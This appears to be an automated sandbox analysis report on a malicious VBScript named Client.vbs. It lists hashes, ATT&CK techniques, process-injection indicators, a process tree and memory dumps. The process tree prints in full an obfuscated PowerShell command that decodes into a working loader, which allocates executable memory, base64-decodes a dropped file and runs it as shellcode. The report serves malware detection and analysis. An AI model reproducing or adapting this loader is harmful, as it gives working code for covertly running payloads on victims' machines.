e443da0d45d95a550c2f2637c8b7f3000aa9fef71840a4deff34333ad51d3c32

General

Target

Client.vbs
Size

177KB
MD5

bcfb5c05a5695508cae014e0fb254785
SHA1

6cb6d497451b32d393f7b2dc1beb2b0baf80b0d3
SHA256

e443da0d45d95a550c2f2637c8b7f3000aa9fef71840a4deff34333ad51d3c32
SHA512

8a66382d94001e0662f63553d2fdb06335c52e37994425ad980f0c87c0f9b388635b21816dfba6542d694f5f96dc53b1666424c22f5a815c326bc5046e1c08db
SSDEEP

3072:4od0wW0uWMKsiQjL7Ow0z72qo3NFOrvEFbGHTnC66xgZ7/9T/Dv5vwLI2c:bd5uWBsiQXJ0+nOQITCFOr9vSBc

Score

7^/10

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WScript.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-4060001867-1434967833-2212371794-1000\Control Panel\International\Geo\Nation	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

3228 powershell.exe
3228 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 3228 powershell.exe

pid	process
3228	powershell.exe
3228	powershell.exe

description	pid	process
Token: SeDebugPrivilege	3228	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

WScript.exepowershell.exe

description	pid	process	target process
PID 4240 wrote to memory of 3228	4240	WScript.exe	powershell.exe
PID 4240 wrote to memory of 3228	4240	WScript.exe	powershell.exe
PID 4240 wrote to memory of 3228	4240	WScript.exe	powershell.exe
PID 3228 wrote to memory of 1804	3228	powershell.exe	csc.exe
PID 3228 wrote to memory of 1804	3228	powershell.exe	csc.exe
PID 3228 wrote to memory of 1804	3228	powershell.exe	csc.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Client.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4240

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "$Derea = """StdATildApodGel-CraTLymyDompSyveAkt Shr-tilTCrayLogpFiseForDCloeSnifGyniFronTeliSkutSlgiMisoilsnReo Epo'FlauPresByoiUninFingUnp RedSGnoyPresEuptFedeudbmHea;ResuSelsBoliNatnAntgLej MobSBrayFissDabtindeafvmflo.KarROpsuKamnAbotMdeihypmPoreKod.ButIWinnsygtMareTanrPuboHalpBraSUdfeLetrNorvPlaikrecUnseSkesSem;asepSkyuBlabSmklRefiCuscSne StasDomtFacaNartTariBracsme MafcdemlParaIdksSrbsPri SdeTWourOplaMetcMonhTeleYojaBiltVreiVra1Dus Aut{Cin[OveDSellSamlFloIHekmSanpFluooxirUnltGyn(Kai`"""SnowElgiEacnMoomEydmCer.gardHewlPollNol`"""Ele)Frn]PorpKuruBydbTrolsekiPercPla NicsScltAaraDretCheiInfcRee UnbeAutxSuptmvheStirUndnTil WamiResnSertCit GummAnuiOzodSlsiJelOVanuAdrtAudRUndesposPuseAfftRes(PorilornMw tPrv NosHOrnahjtmHusaDin)Tal;dis[PenDLislParlAscINepmUnspratoPibrDemtToh(Ady`"""NonkUrgeFolrlasnHeteBeslMaq3Sla2Spa`"""Kan)Fod]DispUveuPenbBorlcasiParcSki EsksRritSamaRaatCurigrfcMis PaneTraxBastTroeInvrPyrnRip PuriPetnRmetFra AutSGrueBertPreULinnStrhPlaaMuhnDisdLanlCureUnrdWilEWasxAlccUdmeHeapOldtAnsiUreoInsnUroFSpriNeilspitSyneRenrBuk(knaiAabnViotIdr JamIDesnOvedFonbArnoOcc)Kir;Rif[LodDcrelDislUngIRasmPripLinoSpyrSamtPav(Amu`"""AllkRefecherPlenKaseDoclLat3Sky2Han`"""Sol)Sup]RkepLabuSchbFurlTitiTwicfin PlesNdutPlaaGentIntiNoncTil FrieDalxStrtcapeChlrTednPla PeniEvonAmbtCed PlaGBasePestEuhTHaviFiacOplkArcCcunoshauRhonKystLiq(Sta)Dyk;Phr[wayDTillHemlTreIGrumConpElioImprSkotHle(Bom`"""CoouMacsSkreDrirFre3Syn2Ung`"""Stt)Grs]DerpPreuKombBrolBuniRodcAbr IncsHngtLimaOvetpodiGalcAnd SkreBjlxKortPryeEftrvannDis SiliLannpaptUdd LeuIHusnspesHoeeKlvrDistDelMSubeZarnIntuTerIYoktTreeSpemSte(SemiExenBartSub AleDSpliTyrsObecTiloSocrMed,ImpiSinnEnmtEss SubfAntePrarAkt,MariIndnSpatPro CoeSDenuShacKla,AneiNonnStatPhy JarAmejrSlooImmmMedaCub)Fis;Gim[ModDPerlbejlVddIAusmHyppDenoSterGhotFas(Muc`"""GuduDissLiceLoarDra3Udr2Per.FjldTamlSkilGal`"""Moz)Apo]GrapHypuBaubAfslNapiChacLre HebsMentAusaSamtTeoiAfvcTea LigeTekxSaltTraeUverRounWid UniIBognSydtUnpPGartEksrFod OmnCAptasuplKatlDatWHaliHepnRygdColoSemwNonPSterRewoGarcUbeWNub(tobIHjenKomtbarPMagtAbsrPil StrPThrrPauoNarsRibeesslPliyEmi5Unm,antianinFlatTra PenPReirRekoUstsrepeEndlNasySan6Cou,PriiCounTiltUdl TigPIrrrGldoRemsSereMytlMonyBer7Hug,MaciblonBistSls elePVesrStooShisGaleReclRidySpu8She,EsciGoonFrotIvy ExgPBoorStioUnrsproeAnslForyUnd9Mez)for;Hip[freDUnslFillYelIDatmPlapBetobesrpretSer(Non`"""TrikendeMetrkodnSmaeBrulFod3Dag2Can`"""Sou)Ind]GrapSkeuSocbErslSiliMascUds VissStetSlaaProtSh iPoscSka TrieUntxPretUdgeThurSaynAnf MosiZoonDistEne OveCleirUdbeUnhaPoltouteAmiDSkiiBehrHypeVolcVistOpsoFrorForyBul(VeniUrinTaftWak CraMTilaTmmnBondMarrOil,ErriPernSittEmu SlaFTerrMamaStovCatrSirsDyn)Ste;Tje[SemDYvelAdalHypIBalmPalpArboDalrSertFli(Tre`"""CalkNodeDihrFalnLyreAablLnm3Ing2Und`"""Ste)Sug]DagpOveuKaibLanlOutihalcFej VissUnqtBrlaDoutfoliCoccApp frieQuaxCartStoeHobrSkunLum RepiBehnPoltNee EmpMKedoLitvOmveShiFFraiWerlMazeTerESkixgen(IroiFionHartjin ConCDefhHypoRadnDisdDiprCon,ForiFranFortPli NonBborahypgImmlJudyLib,BadiPsenGyrtAri UnrKPrioRntmSil)und;Vaa[NavDShrlElelColIPolmJerpStroGrnrFantEmb(Lun`"""ExowCapiSnanPromBromAfs.KondUltlDenlMer`"""Vit)For]lftpThouAfvbTunlSuliBalcOce UnasAnttAmtaTrotConiSupcIde MiseAmbxFyntKlueForrrdvnSmi ProiRulnmertOps RetmDolihaexLooeSenrNilCKoglstaoRhysVekehem(FamiunpnMettTox udsSKeroPolnCeleKoo)Bje;Ano[TryDBiglWralVidIPhomnovpleaoBrerElytCac(Pla`"""DodiGlymGrimAgg3Con2Hom.AlldMeglSanlWea`"""Ski)Iri]KlipHiruRambplalAbbiElscQua lonsFlotSunaUndtUneiRidcfll HypeTirxUnftLeuePrerAflnFor enaiResnVovtFra JudIDramdecmEtaGIndeDritToaVMetiVddrAcotScouAlbaPhyldagKFadeRanySno(YakiLamnTratMan SitSLynvKvleDhadForkDog)Bug;Mil[DepDStalKonlAfpIElemPinpUdboPrerBiotPaa(Yar`"""LdekRoneArbrResnMonePetlPse3Ure2Bas`"""saf)Tjr]PropPlaumisbDislTreiSnecapa TsnsDebtFejaCurtBlaiEtycRam UndetanxUnetSmaeradrPranEdu ExtiAbjnKantSmr DefVMesiBonrKohtBiguKriathelrefARealTunlAbsoDeccrev(SubiCarnSprtAce ForvEve1Und,faniAuknRastFor ProvSik2Kne,OpviWignProtRef HemvMak3Spe,CadiUdlnPretMot penvBud4Sek)For;Sci[RulDKuvlJoklradIRommHirpNoroBlirSvitMon(Pns`"""PrewPoriGranBarsThipForoGenoOvelEsk.InsdMoarInevUnc`"""Glg)Non]KafpAquuTrabRedlpteiHovcLod FrosReftBaaaPentLoviTracSup LaneRykxBrutSokeHomrFornDem KatiBudnContArs ArcDAareVaglprieDamtReveXylPMrkrOmniPrenSlatProePhyrKalCPreoConnTranruteAnscStetPeriDeboAllnNon(KaliTranLyntGer VelTopgiStilUomrDat)Fje;Mon[ExhDunilGenlDelITygmBobpophoHrirBiltCri(Ren`"""PaauThrsSpreAalrBnn3und2Wan`"""Sch)Hie]PsepMamuFajbBirlColiTracTea SunsDdetMalaBedtAesiTrucEnv NedeJouxBlutskaeKasrBasnTus FrdichenUintMon encASubtFortDevaBamcCrahCroTForhhearOpieHalaTegdTipITernUdepQuouGartBro(UnsiSinnStatDis OphGPeaoskakStr,spailatnAvetmon OverFakiphogMenhban,UnbiPacnJamtBal VisTPhleTumkFis)Pre;Hjr[MorDFlolTrilPinITipmovepBogoKasrVogtAfs(For`"""ForuNubsPluePhyrPhe3Pru2Sug`"""Des)Ami]AnspUleuBinbForlPeriBescsle BansBiltTeaaradtTekiFodcTra TileBekxSyntbiteQuirRumnQua DagiDefnMistFor NecISornIgavAceaDemlSeliPubdGodaIndtTheeVirRReneTwicCostEks(OveiPahnAfstTac ReiCEksoretvOkseOve,FabiAttnUnstRen SalVJoraUdblOpkdrekeUng,RrliacenBantUdl ParIStulTruysausAssiSca)ped;Elm}Vis'Xer;Cou`$RedTBagrTilaBndcProhnejeOleaMontForiDru2Uds=Kva`$StreSecnClivIns:MaatTraeTilmEngpAkh Sar+ang Cha`"""duk\SaaGSolrAlgaskrnGna.MildPaaaLantVil`"""Sko;Acr`$AmaLLevnBotkTaxeNidrAhasNeusGuetEureSchrCel Acc=Imp KorGForepibtpri-farCcryoPopnMultCareTitnKrutViv Pri`$OplTdigrAmoaGencUnphDifemacaBlutpauiinv2Fro;Amb`$VanBFlgeUnisInvvCouoUopgAdfrChueStadVil Sel=Opb Col[KapSRepyPresChotPapeKukmMal.PreCRetoImbnflbvForeMinrKontGal]Kni:vas:TelFAccrcaroPramHowBSpuaBacscomePan6Spl4hedSFretIndrEnsiFennBragCle(ski`$MelLNamnSlakcareSuprHunsForsUnbtSameCaprBut)Tut;upd`$AkvTRivrRolaSlacudkhaareBetaNontretiDum3Rea=Egl[GavTVarrTaraHancTrihMuneUnpaDiatPhyiBru1Eve]Ash:Rom:RevVDisiMyxrTrotAnmuBasaBetlBesATellHanlbaioFaccSpo(enk0Bol,Chl1Adm0Men4Ren8Sko5Hel7til6Sar,Dis1Dyn2Tal2Pro8The8Kar,Sen6ver4Eft)Lac;Sub[PanSFamyShrsSkitbabeUdlmPro.TimRRecuFrenSkitBooiMarmInteama.AftIZannAfptDeneGifrannoBespNeuSConeWoorTohvFamiSticMoneSnosSnn.BemMAkvaAugrTiesStrhBrkaDialSiv]Pro:Mon:SinCtapoKrnpLivyBla(Uno`$appBNosekansBedvCyboTangLearBefeSpadCyp,Bnd Hus0Rec,ary Vap Cub`$CanTLobrMaraHazcReshPapeForaUdstSkiiCru3The,Ker Kvr`$OpbBSchestusSonvPreoBergPrerForeSpydLor.UnscSlooKlauNonncaltLil)Dau;Lev[HysTIndrTooaStacFlahGameBloaasctUnliflo1Gra]Uku:Ave:amiCPolaUndlabnlCerWoveiSubnRavdUdboStawSolPBalrAnioSyncuniWVis(Tmr`$AutTCharAdiaRekcUnrhLaceBacaPantMariIag3Dre,Fir Oms0Nos,Bev0Lde,Kop0Udl,Non0Ind)Taf#Kil;""";Function Tracheati4 { param([String]$HS); For($i=3; $i -lt $HS.Length-1; $i+=(3+1)){ $Prosely = $Prosely + $HS.Substring($i, 1); } $Prosely;}$symbiosens0 = Tracheati4 'CitIAmpEHeaXSco ';$symbiosens1= Tracheati4 $Derea;& ($symbiosens0) $symbiosens1;"
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3228

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\bw30ilmc\bw30ilmc.cmdline"
3⤵
PID:1804

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

\??\c:\Users\Admin\AppData\Local\Temp\bw30ilmc\bw30ilmc.0.cs
Filesize
1KB

MD5
d4de9651ff0de82d29338c81aa6e5885

SHA1
acec3aa0a3d399927828f4975e5193a2727c7aa8

SHA256
d70e9a0ad03b8c827666c59d74addc16a72244a73ae85fe9a10bf5ea0cf4d5d5

SHA512
458333575625e306dac458b1274d7db85ea023d84f8fc958cdc41a2b65bb5192fa6f581348eb6b20ba1db10c635bbe18d1bc80fe2e4aeccdb76d1971b753a283

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\bw30ilmc\bw30ilmc.cmdline
Filesize
369B

MD5
44b6542336a21376cf188ac7efbdabc5

SHA1
91670ffb63881f3dc6f63beea89d070249b2b922

SHA256
51e439dacc17fc9d5510d45a66a4b98b504c9c03aed988b5af00413d7beede36

SHA512
9f9ecf3eef04a45e88ff9724aaa093946a5c3767d957e84b17714f8a1e057a41e6741ae0b483126128d165063e642d0487947db7cc1e7bc886b05699d596432c

Download Submit
memory/1804-141-0x0000000000000000-mapping.dmp

Download
memory/3228-132-0x0000000000000000-mapping.dmp

Download
memory/3228-133-0x0000000002670000-0x00000000026A6000-memory.dmp

Filesize
216KB

Download
memory/3228-134-0x00000000052F0000-0x0000000005918000-memory.dmp

Filesize
6.2MB

Download
memory/3228-135-0x0000000004FE0000-0x0000000005002000-memory.dmp

Filesize
136KB

Download
memory/3228-136-0x0000000005080000-0x00000000050E6000-memory.dmp

Filesize
408KB

Download
memory/3228-137-0x00000000051F0000-0x0000000005256000-memory.dmp

Filesize
408KB

Download
memory/3228-138-0x0000000006090000-0x00000000060AE000-memory.dmp

Filesize
120KB

Download
memory/3228-139-0x0000000007750000-0x0000000007DCA000-memory.dmp

Filesize
6.5MB

Download
memory/3228-140-0x0000000005010000-0x000000000502A000-memory.dmp

Filesize
104KB

Download

Analysis

Sharing